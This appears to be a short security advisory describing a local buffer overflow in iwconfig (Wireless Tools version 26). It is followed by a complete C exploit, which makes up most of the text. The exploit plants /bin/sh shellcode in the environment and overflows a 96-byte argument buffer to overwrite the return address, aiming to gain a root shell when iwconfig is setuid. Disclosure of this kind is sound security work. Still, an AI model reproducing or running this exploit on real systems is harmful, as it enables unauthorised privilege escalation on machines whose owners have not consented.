[EXPL] Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)

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Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)
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SUMMARY

"The <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html>
Wireless Tools (WT) is a set of tools allowing to manipulate the Wireless
Extensions."

A vulnerability in one of the Wireless Tools, iwconfig, allows local
attackers to overflow an internal buffer in the product and cause it to
execute arbitrary code.

DETAILS

Vulnerable Systems:
* Wireless Tools version 26

Exploit:
// (if the iwconfig executable is setuid) /str0ke

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */
char shellcode[]=
"\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
"\x0b\x51\x52\x55\x89\xe5\x0f\x34"
"\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
"\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
char buf[96];
long esp, *addr_ptr;
unsigned long ret;
int i, offset;
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
char *prog[]={argv[1],buf,NULL};
char *env[]={"3v1lsh3ll0=",shellcode,NULL};

if (argc >= 2) {
printf("\n*********************************************\n");
printf(" iwconfig Version 26 Localroot Exploit \n");
printf(" Coded by Qnix[at]bsdmail[dot]org \n");
printf("*********************************************\n\n");
} else {
printf("\n*********************************************\n");
printf(" iwconfig Version 26 Localroot Exploit \n");
printf(" Coded by Qnix[at]bsdmail[dot]org \n");
printf("*********************************************\n\n");
printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g
/sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
return 1;
}

offset = 0;
esp = sp();
ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("[~] S-p.ESP : 0x%x\n", esp);
printf("[~] O-F.ESP : 0x%x\n", offset);
printf("[~] Return Addr : 0x%x\n\n", ret);

memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);

execve(prog[0],prog,env);

}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

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